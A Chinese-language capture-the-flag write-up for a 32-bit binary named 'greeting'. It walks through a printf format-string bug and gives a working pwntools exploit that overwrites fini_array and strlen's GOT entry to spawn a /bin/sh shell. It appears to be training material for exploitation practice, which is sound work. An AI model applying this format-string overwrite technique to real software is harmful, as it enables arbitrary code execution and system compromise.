32位程序,没开PIE #string format
程序逻辑
1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 char s; // [esp+1Ch] [ebp-84h] 4 char v5; // [esp+5Ch] [ebp-44h] 5 unsigned int v6; // [esp+9Ch] [ebp-4h] 6 7 v6 = __readgsdword(0x14u); 8 printf("Please tell me your name... "); 9 if ( !getnline(&v5, 64) ) 10 return puts("Don't ignore me ;( "); 11 sprintf(&s, "Nice to meet you, %s :)\n", &v5); 12 return printf(&s); 13 }
printf(&s) 很明显的格式化字符串漏洞
利用思路
printf之后没有调用任何函数,程序便结束了,也没有循环多次,所以不能用覆盖got的方式。
又因为程序结束会调用fini_array中的函数指针
所以这里把fini_array中的第一项指针覆盖为start地址,使之可以重新运行
把strlen_got覆盖为system_plt地址
重新运行后,输入'/bin/sh\x00',执行strlen时即执行system('/bin/sh\x00')
注意程序重新start后fini_array中的内容又恢复了。
exploit
1 from pwn import * 2 sh=process('./greeting') 3 #sh=remote('111.198.29.45',37802) 4 elf=ELF('./greeting') 5 fini_array=0x08049934 6 start=0x080484f0 7 system_plt=0x8048490 8 strlen_got=elf.got['strlen'] 9 print "strlen_got: "+hex(strlen_got) 10 print "system_plt: "+hex(system_plt) 11 print "fini_array: "+hex(fini_array) 12 print "start: "+hex(start) 13 sh.recv() 14 payload='aa'+p32(fini_array)+p32(strlen_got+2) 15 payload+=p32(strlen_got)+'%34000c%12$hn' 16 payload+='%33556c%13$hn' 17 payload+='%31884c%14$hn' 18 sh.sendline(payload) 19 sh.recv() 20 sh.sendline('/bin/sh\x00') 21 sh.interactive()